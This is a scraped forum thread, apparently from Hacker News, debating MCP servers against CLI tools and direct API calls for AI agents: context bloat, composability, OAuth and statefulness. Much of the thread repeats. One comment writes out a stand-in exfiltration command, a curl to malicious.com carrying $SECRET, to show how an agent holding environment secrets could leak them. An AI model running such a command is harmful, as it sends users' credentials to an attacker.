4 ms·

There is some important context missing from the article. First, MCP tools are sent on every request. If you look at the notion MCP the search tool description

by _pdp_ 8mo ago

There is some important context missing from the article. First, MCP tools are sent on every request. If you look at the notion MCP the search tool description is basically a mini tutorial. This is going right into the context window. Given that in most cases MCP tool loading is all or nothing (unless you pre-select the tools by some other means) MCP in general will bloat your context significantly. I think I counted about 20 tools in GitHub Copilot VSCode extension recently. That's a lot! Second, MCP tools are not compossible. When I call the notion search tool I get a dump of whatever they decide to return which might be a lot. The model has no means to decide how much data to process. You normally get a JSON data dump with many token-unfriendly data-points like identifiers, urls, etc. The CLI-based approach on the other hand is scriptable. Coding assistant will typically pipe the tool in jq or tail to process the data chunk by chunk because this is how they are trained these days. If you want to use MCP in your agent, you need to bring in the MCP model and all of its baggage which is a lot. You need to handle oauth, handle tool loading and selection, reloading, etc. The simpler solution is to have a single MCP server handling all of the things at system level and then have a tiny CLI that can call into the tools. In the case of mcpshim (which I posted in another comment) the CLI communicates with the sever via a very simple unix socket using simple json. In fact, it is so simple that you can create a bash client in 5 lines of code. This method is practically universal because most AI agents these days know how to use SKILLs. So the goal is to have more CLI tools. But instead of writing CLI for every service you can simply pivot on top of their existing MCP. This solves the context problem in a very elegant way in my opinion.

tymscar 8mo ago
So basically the best way to use MCP is not to use it at all and just call the APIs directly or through a CLI. If those dont exist then wrapping the MCP into a CLI is the second best thing. Makes you wonder whats the point of MCP
- ianm218 8mo ago
  This was my initial understanding but if you want ai agents to do complex multi step workflows I.e. making data pipelines they just do so much better with MCP. After I got the MCP working my case the performance difference was dramatic
  - eli 8mo ago
    I have never had a problem using cli tools intead of mcp. If you add a little list of the available tools to the context it's nearly the same thing, though with added benefits of e.g. being able to chain multiple together in one tool call
    - ianm218 8mo ago
      Not doubting you just sharing my experience - was able to get dramatically better experience for multi step workflows that involve feedback from SQL compilers with MCP. Probably the right harness to get the same performance with the right tools around the API calls but was easier to stop fighting it for me
      - vidarh 8mo ago
        Did you test actually having command line tools that give you the same interface as the MCP's? Because that is what generally what people are recommending as the alternative. Not letting the agent grapple with <random tool> that is returning poorly structured data. If you option is to have a "compileSQL" MCP tool, and a "compileSQL" CLI tool, that that both return the same data as JSON, the agent will know how to e.g. chain jq, head, grep to extract a subset from the latter in one step, but will need multiple steps with the MCP tool. The effect compounds. E.g. let's say you have a "generateQuery" tool vs CLI. In the CLI case, you might get it piping the output from one through assorted operations and then straight into the other. I'm sure the agents will eventually support creating pipelines of MCP tools as well, but you can get those benefits today if you have the agents write CLI's instead of bothering with MCP servers. I've for that matter had to replace MCP servers with scripts that Claude one-shot because the MCP servers lacked functionality... It's much more flexible.
  - athrowaway3z 8mo ago
    Yeah this is just straight up nonsense. Its ability to shuffle around data and use bash and do so in interesting ways far outstrips its ability to deal with MCPs. Also remember to properly name your cli tools and add a `use <mytool> --help for doing x` in your AGENTS.md, but that is all you need. Maybe you're stuck on some bloated frontend harness?
- paulddraper 8mo ago
  MCP is just JSON-RPC plus dynamic OAuth plus some lifecycle things. It’s a convention. That everyone follows.
- crazylogger 8mo ago
  Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs. MCP is a thin toolcall auth layer that has to be there so that ChatGPT and claude.ai can "connect to your Slack", etc.
  - tymscar 8mo ago
    No? You can just have env vars
    - crazylogger 8mo ago
      Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods possible), how do you plan on telling these apart from normal computer use? Prior art: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/ https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/
- miroljub 8mo ago
  Exactly. You shouldn't use MCPs unless there is some statefulness / state / session they need to maintain between calls. In all other cases, CLI or API calls are superior.
  - Eldodi 8mo ago
    There are very few stateful MCP Servers out there, and the standard is moving towards stateless by default. What is really making MCP stand out is: - oauth integration - generalistic IA assistants adoption. If you want to be inside ChatGPT or Claude, you can't provide a CLI.
    - miroljub 8mo ago
      > What is really making MCP stand out is: > - oauth integration I don't see a reason a cli can't provide oauth integration flow. Every single language has an oauth client. > - generalistic IA assistants adoption. If you want to be inside ChatGPT or Claude, you can't provide a CLI. This is actually a valid point. I solved it by using a sane agent harness that doesn't have artificial restrictions, but I understand that some people have limited choices there and that MCP provides some benefits there. Same story as SOAP, even a bad standard is better than no standard at all and every vendor rolling out their own half-baked solution.
      - zachrip 8mo ago
        Oauth with mcp is more than just traditional oauth. It allows dynamic client registration among other things, so any mcp client can connect to any mcp server without the developers on either side having to issue client ids, secrets, etc. Obviously a cli could use DCR as well, but afaik nobody really does that, and again, your cli doesn't run in claude or chatgpt.
    - brookst 8mo ago
      Stateful at the application layer, not the transport layer. There are tons of stateful apps that run on UDP. You can build state on top of stateless comms.
- _pdp_ 8mo ago
  The point of the MCP is for the upstream provider to provider agent specific tools and to handle authentication and session management. Consider the Google Meet API. To get an actual transcript from Google Meet you need to perform 3-4 other calls before the actual transcript is retrieved. That is not only inefficient but also the agent will likely get it wrong at least once. If you have a dedicated MCP then Google in theory will provide a single transcript retrieval tool which simplifies the process. The authentication story should not be underestimated either. For better or worse, MCP allows you to dynamically register oauth client through a self registration process. This means that you don't need to register your own client with every single provider. This simplifies oauth significantly. Not everyone supports it because in my opinion it is a security problem but many do.
  - tymscar 8mo ago
    Or you could just have a cli that does that, no MCP needed
- jnstrdm05 8mo ago
  The guy who created fastmcp, he mentioned that you should use mcp to design how an llm should interact with the API, and give it tools that are geared towards solving problems, not just to interact with the API. Very interesting talk on the topic on YouTube. I still think it's a bloated solution.
- throwup238 8mo ago
  > Makes you wonder whats the point of MCP I only use them for stuff that needs to run in-process, like a QT MCP that gives agents access to the element hierarchy for debugging and interacting with the GUI (like giving it access to Chrome inspector but for QT).
grogenaut 8mo ago
Or write your own MCP server and make lots of little tools that activate on demand or put smarts or a second layer LLM into crafting GQL queries on the fly and reducing the results on the fly. They're kinda trivial to write now. I do agree that MCP context management should be better. Amazon kiro took a stab at that with powers
sakesun 8mo ago
From your description, GraphQL or SQL could be a good solution for AI context as well.
- cjonas 8mo ago
  SQL is peak for data retrieval (obviously) but challenging to deploy for multitenant applications where you can't just give the user controlled agent a DB connection. I found it every effective to create a mini paquet "data ponds" on the fly in s3 and allow the agent to query it with duckdb (can be via tool call but better via a code interpreter). Nice thing with this approach is you can add data from any source and the agent can join efficiently.
miki123211 8mo ago
I'd add to that that every tool should have --json (and possibly --output-schema flags), where the latter returns a Typescript / Pydantic / whatever type definition, not a bloated, token-inefficient JSON schema. Information that those exist should be centralized in one place. This way, agents can either choose to execute tools directly (bringing output into context), or to run them via a script (or just by piping to jq), which allows for precise arithmetic calculations and further context debloating.
TCattd 8mo ago
Another alternative (to mcpshim): https://github.com/EstebanForge/mcp-cli-ent https://github.com/EstebanForge/mcp-cli-ent Direct usage as CLI tool.
brookst 8mo ago
You’ve described a naive MCP implementation but it really doesn’t work that way IRL. I have an MCP server with ~120 functions and probably 500k tokens worth of help and documentation that models download. But not all at once, that would be crazy. A good MCP tool is hierarchical, with a very short intro, links to well-structured docs that the model can request small pieces of, groups of functions with `—-help` params that explain how to use each one, and agent-friendly hints for grouping often-sequential calls together. It’s a similar optimization to what you’re talking about with CLI; I’d argue that transport doesn’t really matter. There are bad MCP serves that dump 150k tokens of instructions at init, but that’s a bad implementation, not intrinsic to the interface.
BeetleB 8mo ago
> Given that in most cases MCP tool loading is all or nothing (unless you pre-select the tools by some other means) Which applications that support MCP don't let you select the individual tools in a server?

by _pdp_ 8mo ago

tymscar 8mo ago

So basically the best way to use MCP is not to use it at all and just call the APIs directly or through a CLI. If those dont exist then wrapping the MCP into a CLI is the second best thing. Makes you wonder whats the point of MCP

ianm218 8mo ago
This was my initial understanding but if you want ai agents to do complex multi step workflows I.e. making data pipelines they just do so much better with MCP. After I got the MCP working my case the performance difference was dramatic
- eli 8mo ago
  I have never had a problem using cli tools intead of mcp. If you add a little list of the available tools to the context it's nearly the same thing, though with added benefits of e.g. being able to chain multiple together in one tool call
  - ianm218 8mo ago
    Not doubting you just sharing my experience - was able to get dramatically better experience for multi step workflows that involve feedback from SQL compilers with MCP. Probably the right harness to get the same performance with the right tools around the API calls but was easier to stop fighting it for me
    - vidarh 8mo ago
      Did you test actually having command line tools that give you the same interface as the MCP's? Because that is what generally what people are recommending as the alternative. Not letting the agent grapple with <random tool> that is returning poorly structured data. If you option is to have a "compileSQL" MCP tool, and a "compileSQL" CLI tool, that that both return the same data as JSON, the agent will know how to e.g. chain jq, head, grep to extract a subset from the latter in one step, but will need multiple steps with the MCP tool. The effect compounds. E.g. let's say you have a "generateQuery" tool vs CLI. In the CLI case, you might get it piping the output from one through assorted operations and then straight into the other. I'm sure the agents will eventually support creating pipelines of MCP tools as well, but you can get those benefits today if you have the agents write CLI's instead of bothering with MCP servers. I've for that matter had to replace MCP servers with scripts that Claude one-shot because the MCP servers lacked functionality... It's much more flexible.
- athrowaway3z 8mo ago
  Yeah this is just straight up nonsense. Its ability to shuffle around data and use bash and do so in interesting ways far outstrips its ability to deal with MCPs. Also remember to properly name your cli tools and add a `use <mytool> --help for doing x` in your AGENTS.md, but that is all you need. Maybe you're stuck on some bloated frontend harness?
paulddraper 8mo ago
MCP is just JSON-RPC plus dynamic OAuth plus some lifecycle things. It’s a convention. That everyone follows.
crazylogger 8mo ago
Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs. MCP is a thin toolcall auth layer that has to be there so that ChatGPT and claude.ai can "connect to your Slack", etc.
- tymscar 8mo ago
  No? You can just have env vars
  - crazylogger 8mo ago
    Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods possible), how do you plan on telling these apart from normal computer use? Prior art: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/ https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/
miroljub 8mo ago
Exactly. You shouldn't use MCPs unless there is some statefulness / state / session they need to maintain between calls. In all other cases, CLI or API calls are superior.
- Eldodi 8mo ago
  There are very few stateful MCP Servers out there, and the standard is moving towards stateless by default. What is really making MCP stand out is: - oauth integration - generalistic IA assistants adoption. If you want to be inside ChatGPT or Claude, you can't provide a CLI.
  - miroljub 8mo ago
    > What is really making MCP stand out is: > - oauth integration I don't see a reason a cli can't provide oauth integration flow. Every single language has an oauth client. > - generalistic IA assistants adoption. If you want to be inside ChatGPT or Claude, you can't provide a CLI. This is actually a valid point. I solved it by using a sane agent harness that doesn't have artificial restrictions, but I understand that some people have limited choices there and that MCP provides some benefits there. Same story as SOAP, even a bad standard is better than no standard at all and every vendor rolling out their own half-baked solution.
    - zachrip 8mo ago
      Oauth with mcp is more than just traditional oauth. It allows dynamic client registration among other things, so any mcp client can connect to any mcp server without the developers on either side having to issue client ids, secrets, etc. Obviously a cli could use DCR as well, but afaik nobody really does that, and again, your cli doesn't run in claude or chatgpt.
  - brookst 8mo ago
    Stateful at the application layer, not the transport layer. There are tons of stateful apps that run on UDP. You can build state on top of stateless comms.
_pdp_ 8mo ago
The point of the MCP is for the upstream provider to provider agent specific tools and to handle authentication and session management. Consider the Google Meet API. To get an actual transcript from Google Meet you need to perform 3-4 other calls before the actual transcript is retrieved. That is not only inefficient but also the agent will likely get it wrong at least once. If you have a dedicated MCP then Google in theory will provide a single transcript retrieval tool which simplifies the process. The authentication story should not be underestimated either. For better or worse, MCP allows you to dynamically register oauth client through a self registration process. This means that you don't need to register your own client with every single provider. This simplifies oauth significantly. Not everyone supports it because in my opinion it is a security problem but many do.
- tymscar 8mo ago
  Or you could just have a cli that does that, no MCP needed
jnstrdm05 8mo ago
The guy who created fastmcp, he mentioned that you should use mcp to design how an llm should interact with the API, and give it tools that are geared towards solving problems, not just to interact with the API. Very interesting talk on the topic on YouTube. I still think it's a bloated solution.
throwup238 8mo ago
> Makes you wonder whats the point of MCP I only use them for stuff that needs to run in-process, like a QT MCP that gives agents access to the element hierarchy for debugging and interacting with the GUI (like giving it access to Chrome inspector but for QT).

grogenaut 8mo ago

Or write your own MCP server and make lots of little tools that activate on demand or put smarts or a second layer LLM into crafting GQL queries on the fly and reducing the results on the fly. They're kinda trivial to write now. I do agree that MCP context management should be better. Amazon kiro took a stab at that with powers

sakesun 8mo ago

From your description, GraphQL or SQL could be a good solution for AI context as well.

cjonas 8mo ago
SQL is peak for data retrieval (obviously) but challenging to deploy for multitenant applications where you can't just give the user controlled agent a DB connection. I found it every effective to create a mini paquet "data ponds" on the fly in s3 and allow the agent to query it with duckdb (can be via tool call but better via a code interpreter). Nice thing with this approach is you can add data from any source and the agent can join efficiently.

miki123211 8mo ago

I'd add to that that every tool should have --json (and possibly --output-schema flags), where the latter returns a Typescript / Pydantic / whatever type definition, not a bloated, token-inefficient JSON schema. Information that those exist should be centralized in one place. This way, agents can either choose to execute tools directly (bringing output into context), or to run them via a script (or just by piping to jq), which allows for precise arithmetic calculations and further context debloating.

TCattd 8mo ago

Another alternative (to mcpshim): https://github.com/EstebanForge/mcp-cli-ent https://github.com/EstebanForge/mcp-cli-ent Direct usage as CLI tool.

brookst 8mo ago

You’ve described a naive MCP implementation but it really doesn’t work that way IRL. I have an MCP server with ~120 functions and probably 500k tokens worth of help and documentation that models download. But not all at once, that would be crazy. A good MCP tool is hierarchical, with a very short intro, links to well-structured docs that the model can request small pieces of, groups of functions with `—-help` params that explain how to use each one, and agent-friendly hints for grouping often-sequential calls together. It’s a similar optimization to what you’re talking about with CLI; I’d argue that transport doesn’t really matter. There are bad MCP serves that dump 150k tokens of instructions at init, but that’s a bad implementation, not intrinsic to the interface.

BeetleB 8mo ago

> Given that in most cases MCP tool loading is all or nothing (unless you pre-select the tools by some other means) Which applications that support MCP don't let you select the individual tools in a server?